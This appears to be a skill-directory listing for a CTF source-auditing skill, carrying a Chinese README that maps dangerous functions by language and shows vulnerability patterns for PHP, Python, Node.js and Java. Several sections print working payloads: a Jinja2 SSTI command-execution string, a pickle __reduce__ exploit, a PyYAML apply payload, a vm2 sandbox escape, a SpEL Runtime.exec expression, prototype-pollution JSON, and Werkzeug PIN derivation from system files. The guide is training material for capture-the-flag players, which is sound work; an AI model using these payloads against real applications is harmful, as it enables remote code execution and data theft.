mcpField
C
ctf-source-audit

ctf-source-audit

github.com/wgpsecSecurity1.8k51 installsUpdated 4d ago
Repository

About ctf-source-audit

A source-auditing method skill for CTF players, focused on intentionally vulnerable, compact code. It organizes sink discovery, input-flow tracing, and common vulnerability patterns by language and framework.

Key features

  1. 01Identify languages and frameworks quickly
  2. 02Locate dangerous functions and input sources
  3. 03Trace filters and possible bypasses
  4. 04Coverage of PHP, Python, Node.js, and Java
  5. 05Checklist for audit findings

Use cases

  1. 01Review source code provided in a CTF
  2. 02Trace user input back from a dangerous function
  3. 03Analyze deserialization, injection, or variable overwrite

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill ctf-source-audit

After installing, type/ctf-source-auditin Claude Code to confirm it loaded.

Bundled files

References and scripts installed along with SKILL.md.

evals/
evals.json
recall.json
references/
dangerous-functions.md

Details

From the project README

CTF 源码审计方法论

CTF 源码审计 ≠ 真实代码审计。区别:

  • 真实审计:几万行代码,漏洞可能在任何地方
  • CTF 审计:几十到几百行代码,漏洞是故意设置的,通常很明显

核心策略:找危险函数(sink),然后追溯输入(source)到危险函数的路径。

⛔ 深入参考(必读)

Phase 1: 快速识别语言和框架

特征语言/框架
.php 文件、<?phpPHP
app.py、from flask、import djangoPython (Flask/Django)
package.json、require()、app.jsNode.js (Express)
pom.xml、.java、@ControllerJava (Spring)
go.mod、func main()Go

Phase 2: 审计流程

2.1 快速定位危险函数
语言命令执行反序列化模板注入文件操作
PHPsystem() eval() exec() passthru()unserialize()N/Ainclude() file_get_contents()
Pythonos.system() eval() exec() subprocesspickle.loads() yaml.load()render_template_string()open()
Node.jschild_process.exec() eval()N/AEJS/Pug injectfs.readFile()
JavaRuntime.exec() ProcessBuilderObjectInputStreamSpEL/FreeMarkerFileInputStream

→ 完整危险函数清单 → references/dangerous-functions.md

2.2 追踪数据流(sink → source)
  1. 参数从哪来? — $_GET, request.args, req.body, @RequestParam
  2. 有没有过滤? — 搜 filter, sanitize, escape, replace, blacklist
  3. 过滤能绕过吗? — CTF 中通常有绕过(黑名单遗漏、双重编码、大小写、数组绕过)
2.3 审计产出
  1. 漏洞类型和位置(文件名+行号)
  2. 利用方法(构造什么请求触发)
  3. Flag 获取路径

Phase 3: PHP 常见漏洞模式

弱比较 (== vs ===)
// 0e 开头的字符串在 == 比较时被当作科学计数法,等于 0
if ($_GET['password'] == '0e123456') { ... }  // 输入 "0" → true
if (md5($a) == md5($b)) { ... }  // 找两个 md5 以 0e 开头的值

// 0e MD5 碰撞值:
// md5("240610708")  = 0e462097431906509019562988736854
// md5("QNKCDZO")    = 0e830400451993494058024219903391
// md5("s878926199a") = 0e545993274517709034328855841020

// 数组绕过 ===
if ($a != $b && md5($a) === md5($b)) { ... }
// md5(array) 返回 NULL → a[]=1&b[]=2
变量覆盖
extract($_GET);  // GET 参数覆盖任意变量
parse_str($str); // 解析字符串为变量(无第二个参数时)
$$key = $value;  // 可变变量

// 利用:?admin=1 覆盖 $admin 变量
PHP 类型戏法
// intval() 截断
intval("123abc") === 123  // 非数字部分被忽略
intval("0x1A") === 0      // PHP 7 不解析 hex(PHP 5 可以)

// is_numeric() 绕过
is_numeric("0x539") → true (PHP 5)
is_numeric("1e5") → true   // 科学计数法

// in_array() 松散比较
in_array(0, ['a','b','c']) → true  // 0 == 'a' 在松散比较中为 true(PHP 7 以下)
// 修复:in_array(0, ['a','b','c'], true) 第三个参数=strict
preg_replace /e (PHP < 7.0)
preg_replace('/.*/e', 'system("id")', '');  // /e 修饰符执行替换结果
反序列化 POP 链

搜索 __wakeup(), __destruct(), __toString() 魔术方法,构造链式调用。

// __wakeup 绕过:序列化字符串中属性个数大于实际值
O:4:"User":3:{...}  // 实际只有 2 个属性,写 3 → 跳过 __wakeup
// 适用 PHP 5.x - 7.0.10

Phase 4: Python 常见漏洞模式

Flask Session 伪造
# 如果知道 SECRET_KEY,可以伪造 Flask session
# 工具:flask-unsign
flask-unsign --decode --cookie 'SESSION_COOKIE'
flask-unsign --sign --cookie "{'user':'admin'}" --secret 'SECRET_KEY'

# SECRET_KEY 泄露路径:
# - 源码中硬编码
# - /proc/self/environ 中的环境变量
# - config.py / .env 文件
Werkzeug Debug PIN 计算
# 当 Flask DEBUG=True 时,/console 需要 PIN
# PIN 计算因素(全部可通过 LFI 获取):
# 1. username: /etc/passwd 中运行 Flask 的用户
# 2. modname: 通常是 "flask.app"
# 3. appname: 通常是 "Flask"
# 4. modpath: flask/app.py 的路径 → /proc/self/cmdline + find
# 5. MAC 地址: /sys/class/net/eth0/address → 转十进制
# 6. machine-id: /etc/machine-id + /proc/self/cgroup (Docker)

# 计算脚本见 ctf-web-methodology 的 server-side-advanced.md
SSTI (Jinja2)
render_template_string(user_input)  # 危险!
# 检测:{{7*7}} → 49
# RCE:{{lipsum.__globals__.__builtins__.__import__('os').popen('id').read()}}
Pickle 反序列化 RCE
import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
PyYAML 不安全加载
yaml.load(data)  # 不安全!需要 yaml.safe_load()
# payload: !!python/object/apply:os.system ['cat /flag.txt']

Phase 5: Node.js 常见漏洞模式

原型链污染
// 危险函数:Object.assign(), _.merge(), _.set(), 递归合并
// payload: {"__proto__":{"isAdmin":true}}
// 或: {"constructor":{"prototype":{"isAdmin":true}}}

// 利用场景:
// 1. 修改 Object.prototype 影响全局
// 2. 覆盖已有属性(role: admin)
// 3. RCE:污染 child_process 的 env/shell
require() 路径穿越
// 如果用户控制 require() 参数
require('../../../etc/passwd');  // 虽然不执行但可泄露错误信息
require('/proc/self/environ');
eval() / vm 逃逸
// vm2 沙箱逃逸(多个 CVE)
const {VM} = require("vm2");
const vm = new VM();
vm.run('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()');

Phase 6: Java 常见漏洞模式

SpEL 注入 (Spring)
// 如果用户输入被嵌入 SpEL 表达式
// 检测:${7*7} → 49 或 #{7*7} → 49
// RCE:
#{T(java.lang.Runtime).getRuntime().exec("id")}
XXE (Java XML 解析)

Java 的 XML 解析器默认不禁用外部实体(需要手动设置),是 XXE 高发区。

反序列化(ObjectInputStream)

搜索 ObjectInputStream.readObject() → 配合 ysoserial 生成 payload。

注意事项

  • CTF 源码通常很短(<200行),不要用复杂工具,手动审计即可
  • 优先搜索 flag、secret、admin 关键字
  • 注意注释中的提示(CTF 出题者有时会留线索)
  • 多文件项目:先看路由(app.py / index.php / app.js),再看控制器逻辑

Comments

Markdown supported